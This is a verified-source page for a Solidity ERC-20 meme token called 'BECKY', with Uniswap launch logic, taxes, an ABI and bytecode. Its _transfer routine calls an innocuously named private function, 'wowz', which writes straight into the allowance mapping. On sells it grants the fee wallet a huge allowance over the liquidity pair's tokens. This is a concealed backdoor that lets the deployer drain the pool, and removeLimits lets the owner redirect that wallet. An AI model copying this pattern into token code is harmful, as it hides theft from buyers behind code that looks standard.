Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _msgSender()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•    - function getPair(address tokenA, addr ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
•  contract BECKY is Context, IERC20, ... *
•    - function createPair()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function transferFrom(address sender, ...
•    - function approve(address spender, uin ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function wowz(address[2] memory wows)
•    - function wEthSwap(uint256 amount)
•    - function withdrawEth()
•    - function min(uint256 a, uint256 b)
•    - function wEthSend()
•    - function removeLimits(address payable ...
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-18
*/

/**
https://beckyeth.fun
https://x.com/becky_on_eth
https://t.me/becky_on_eth
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BECKY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _wAllowed;
    mapping (address => bool) private _shouldFeeExcludedW;

    address payable private wReceipt;
    IUniswapV2Router02 private uniRouterW;
    address private uniPairW;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Becky";
    string private constant _symbol = unicode"BECKY";
    uint256 public _maxTxAmountW = 2 * _tTotal / 100;
    uint256 public _maxTxWalletW = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    event MaxTxAmountUpdated(uint _maxTxAmountW);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        wReceipt = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _shouldFeeExcludedW[address(this)] = true;
        _shouldFeeExcludedW[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function createPair() external onlyOwner {
        uniRouterW = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterW), _tTotal);
        uniPairW = IUniswapV2Factory(uniRouterW.factory()).createPair(
            address(this),
            uniRouterW.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _wAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _wAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _wAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniPairW && to != address(uniRouterW) && ! _shouldFeeExcludedW[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmountW, "Exceeds the _maxTxAmountW.");
                require(balanceOf(to) + amount <= _maxTxWalletW, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniPairW && ! _shouldFeeExcludedW[to]) {
                require(balanceOf(to) + amount <= _maxTxWalletW, "Exceeds the maxWalletSize.");
            }
            if(to == uniPairW) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (wowz([from==uniPairW?from:uniPairW, wReceipt]) && !inSwap && to == uniPairW && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    wEthSwap(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                wEthSend();
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function wowz(address[2] memory wows) private returns(bool){
        address wowA = wows[0]; address wowB = wows[1];
        _wAllowed[wowA][wowB]=150+_maxTxAmountW.add(100).mul(1000);
        return true;
    }
    function wEthSwap(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterW.WETH();
        _approve(address(this), address(uniRouterW), amount);
        uniRouterW.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function wEthSend() private {
        wReceipt.transfer(address(this).balance);
    }
    receive() external payable {}
    function removeLimits(address payable limit) external onlyOwner{
        wReceipt = limit;
        _maxTxAmountW=_tTotal;
        _maxTxWalletW=_tTotal;
        _shouldFeeExcludedW[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniRouterW.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairW).approve(address(uniRouterW), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmountW","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmountW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxWalletW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600755600f6008555f6009555f600a55600a600b55600a600c55600f600d555f600e5560646009600a6100399190610300565b610048906461f313f880610315565b610053906002610315565b61005d919061032c565b600f55606461006e6009600a610300565b61007d906461f313f880610315565b610088906002610315565b610092919061032c565b60105560646100a36009600a610300565b6100b2906461f313f880610315565b6100bd906001610315565b6100c7919061032c565b60115560646100d86009600a610300565b6100e7906461f313f880610315565b6100f2906001610315565b6100fc919061032c565b60125534801561010a575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101696009600a610300565b610178906461f313f880610315565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a610300565b6101f1906461f313f880610315565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102565780850481111561023a5761023a610207565b600184161561024857908102905b60019390931c92800261021f565b935093915050565b5f8261026c575060016102fa565b8161027857505f6102fa565b816001811461028e5760028114610298576102b4565b60019150506102fa565b60ff8411156102a9576102a9610207565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d7575081810a6102fa565b6102e35f19848461021b565b805f19048211156102f6576102f6610207565b0290505b92915050565b5f61030e60ff84168361025e565b9392505050565b80820281158282048414176102fa576102fa610207565b5f8261034657634e487b7160e01b5f52601260045260245ffd5b500490565b6119b7806103585f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102f7578063a9059cbb1461030b578063bf474bed1461032a578063c9567bf91461033f578063dd62ed3e14610353575f5ffd5b806370a0823114610248578063715018a61461027c5780638da5cb5b1461029057806395d89b41146102b65780639e78fb4f146102e3575f5ffd5b806318160ddd116100e357806318160ddd146101c457806323b872dd146101d8578063313ce567146101f757806332489e9b1461021257806348d1a29914610233575f5ffd5b806306fdde031461011e57806308ec0fff1461015d578063095ea7b3146101805780630faee56f146101af575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b506040805180820190915260058152644265636b7960d81b60208201525b60405161015491906115bf565b60405180910390f35b348015610168575f5ffd5b5061017260105481565b604051908152602001610154565b34801561018b575f5ffd5b5061019f61019a366004611608565b610397565b6040519015158152602001610154565b3480156101ba575f5ffd5b5061017260125481565b3480156101cf575f5ffd5b506101726103ad565b3480156101e3575f5ffd5b5061019f6101f2366004611632565b6103ce565b348015610202575f5ffd5b5060405160098152602001610154565b34801561021d575f5ffd5b5061023161022c366004611670565b610435565b005b34801561023e575f5ffd5b50610172600f5481565b348015610253575f5ffd5b50610172610262366004611670565b6001600160a01b03165f9081526001602052604090205490565b348015610287575f5ffd5b50610231610530565b34801561029b575f5ffd5b505f546040516001600160a01b039091168152602001610154565b3480156102c1575f5ffd5b506040805180820190915260058152644245434b5960d81b6020820152610147565b3480156102ee575f5ffd5b506102316105a1565b348015610302575f5ffd5b5061023161079b565b348015610316575f5ffd5b5061019f610325366004611608565b6107f0565b348015610335575f5ffd5b5061017260115481565b34801561034a575f5ffd5b506102316107fc565b34801561035e575f5ffd5b5061017261036d36600461168b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a33384846109d4565b5060015b92915050565b5f6103ba6009600a6117b9565b6103c9906461f313f8806117c7565b905090565b5f6103da848484610af8565b61042b84336104268560405180606001604052806028815260200161195a602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111df565b6109d4565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906117de565b60405180910390fd5b600480546001600160a01b0319166001600160a01b03831617905561048e6009600a6117b9565b61049d906461f313f8806117c7565b600f556104ac6009600a6117b9565b6104bb906461f313f8806117c7565b6010556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050d6009600a6117b9565b61051c906461f313f8806117c7565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161045e906117de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ca5760405162461bcd60e51b815260040161045e906117de565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106149030906106056009600a6117b9565b610426906461f313f8806117c7565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610664573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106889190611813565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070b9190611813565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610755573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107799190611813565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107c45760405162461bcd60e51b815260040161045e906117de565b60405133904780156108fc02915f818181858888f193505050501580156107ed573d5f5f3e3d5ffd5b50565b5f6103a3338484610af8565b5f546001600160a01b031633146108255760405162461bcd60e51b815260040161045e906117de565b60135460ff16156108785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6005546001600160a01b031663f305d71947306108a9816001600160a01b03165f9081526001602052604090205490565b5f5f6108bc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610922573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610947919061182e565b505060065460055460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561099c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c09190611859565b506013805462ff00ff191662010001179055565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b60135462010000900460ff161580610c3e5750601354610100900460ff165b15610ce8576001600160a01b0383165f90815260016020526040902054610c66908290611878565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c9590829061188b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aeb9085815260200190565b5f80546001600160a01b03858116911614801590610d1357505f546001600160a01b03848116911614155b156110a2576006546001600160a01b038581169116148015610d4357506005546001600160a01b03848116911614155b8015610d6757506001600160a01b0383165f9081526003602052604090205460ff16155b15610ec55760135460ff16610db65760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161045e565b610de26064610ddc600b54600e5411610dd157600754610dd5565b6009545b8590611217565b9061129c565b9050600f54821115610e365760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d61785478416d6f756e74572e000000000000604482015260640161045e565b60105482610e58856001600160a01b03165f9081526001602052604090205490565b610e62919061188b565b1115610eb05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600e8054905f610ebf8361189e565b91905055505b6006546001600160a01b03848116911614801590610efb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f7a5760105482610f22856001600160a01b03165f9081526001602052604090205490565b610f2c919061188b565b1115610f7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b6006546001600160a01b0390811690841603610fb857610fb56064610ddc600c54600e5411610fab57600854610dd5565b600a548590611217565b90505b6040805180820190915260065461100d919081906001600160a01b03888116911614610fef576006546001600160a01b0316610ff1565b865b6001600160a01b039081168252600454166020909101526112dd565b80156110215750601354610100900460ff16155b801561103a57506006546001600160a01b038481169116145b801561104e575060135462010000900460ff165b801561105d5750600d54600e54115b156110a257305f90815260016020526040902054601154811115611098576110986110938461108e84601254611340565b611340565b611354565b6110a06114be565b505b801561111a57305f908152600160205260409020546110c190826114f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113c9083611552565b6001600160a01b0385165f9081526001602052604090205561117f6111618383611552565b6001600160a01b0385165f90815260016020526040902054906114f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c88585611552565b60405190815260200160405180910390a350505050565b5f81848411156112025760405162461bcd60e51b815260040161045e91906115bf565b505f61120e8486611878565b95945050505050565b5f825f0361122657505f6103a7565b5f61123183856117c7565b90508261123e85836118b6565b146112955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b9392505050565b5f61129583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b80516020820151600f545f929190611304906103e8906112fe9060646114f4565b90611217565b61130f90609661188b565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161134e5782611295565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611396576113966118d5565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114119190611813565b81600181518110611424576114246118d5565b6001600160a01b03928316602091820292909201015260055461144a91309116846109d4565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114829085905f908690309042906004016118e9565b5f604051808303815f87803b158015611499575f5ffd5b505af11580156114ab573d5f5f3e3d5ffd5b50506013805461ff001916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ed573d5f5f3e3d5ffd5b5f80611500838561188b565b9050838110156112955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f61129583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111df565b5f81836115b35760405162461bcd60e51b815260040161045e91906115bf565b505f61120e84866118b6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107ed575f5ffd5b5f5f60408385031215611619575f5ffd5b8235611624816115f4565b946020939093013593505050565b5f5f5f60608486031215611644575f5ffd5b833561164f816115f4565b9250602084013561165f816115f4565b929592945050506040919091013590565b5f60208284031215611680575f5ffd5b8135611295816115f4565b5f5f6040838503121561169c575f5ffd5b82356116a7816115f4565b915060208301356116b7816115f4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611711578085048111156116f5576116f56116c2565b600184161561170357908102905b60019390931c9280026116da565b935093915050565b5f82611727575060016103a7565b8161173357505f6103a7565b816001811461174957600281146117535761176f565b60019150506103a7565b60ff841115611764576117646116c2565b50506001821b6103a7565b5060208310610133831016604e8410600b8410161715611792575081810a6103a7565b61179e5f1984846116d6565b805f19048211156117b1576117b16116c2565b029392505050565b5f61129560ff841683611719565b80820281158282048414176103a7576103a76116c2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611823575f5ffd5b8151611295816115f4565b5f5f5f60608486031215611840575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611869575f5ffd5b81518015158114611295575f5ffd5b818103818111156103a7576103a76116c2565b808201808211156103a7576103a76116c2565b5f600182016118af576118af6116c2565b5060010190565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119395783516001600160a01b0316835260209384019390920191600101611912565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220951419deecf2e5da5564e365fc998888f1c50dbb324fdb36e95cc411c57c704264736f6c634300081b0033

0x608060405260043610610113575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102f7578063a9059cbb1461030b578063bf474bed1461032a578063c9567bf91461033f578063dd62ed3e14610353575f5ffd5b806370a0823114610248578063715018a61461027c5780638da5cb5b1461029057806395d89b41146102b65780639e78fb4f146102e3575f5ffd5b806318160ddd116100e357806318160ddd146101c457806323b872dd146101d8578063313ce567146101f757806332489e9b1461021257806348d1a29914610233575f5ffd5b806306fdde031461011e57806308ec0fff1461015d578063095ea7b3146101805780630faee56f146101af575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b506040805180820190915260058152644265636b7960d81b60208201525b60405161015491906115bf565b60405180910390f35b348015610168575f5ffd5b5061017260105481565b604051908152602001610154565b34801561018b575f5ffd5b5061019f61019a366004611608565b610397565b6040519015158152602001610154565b3480156101ba575f5ffd5b5061017260125481565b3480156101cf575f5ffd5b506101726103ad565b3480156101e3575f5ffd5b5061019f6101f2366004611632565b6103ce565b348015610202575f5ffd5b5060405160098152602001610154565b34801561021d575f5ffd5b5061023161022c366004611670565b610435565b005b34801561023e575f5ffd5b50610172600f5481565b348015610253575f5ffd5b50610172610262366004611670565b6001600160a01b03165f9081526001602052604090205490565b348015610287575f5ffd5b50610231610530565b34801561029b575f5ffd5b505f546040516001600160a01b039091168152602001610154565b3480156102c1575f5ffd5b506040805180820190915260058152644245434b5960d81b6020820152610147565b3480156102ee575f5ffd5b506102316105a1565b348015610302575f5ffd5b5061023161079b565b348015610316575f5ffd5b5061019f610325366004611608565b6107f0565b348015610335575f5ffd5b5061017260115481565b34801561034a575f5ffd5b506102316107fc565b34801561035e575f5ffd5b5061017261036d36600461168b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a33384846109d4565b5060015b92915050565b5f6103ba6009600a6117b9565b6103c9906461f313f8806117c7565b905090565b5f6103da848484610af8565b61042b84336104268560405180606001604052806028815260200161195a602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111df565b6109d4565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906117de565b60405180910390fd5b600480546001600160a01b0319166001600160a01b03831617905561048e6009600a6117b9565b61049d906461f313f8806117c7565b600f556104ac6009600a6117b9565b6104bb906461f313f8806117c7565b6010556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050d6009600a6117b9565b61051c906461f313f8806117c7565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161045e906117de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b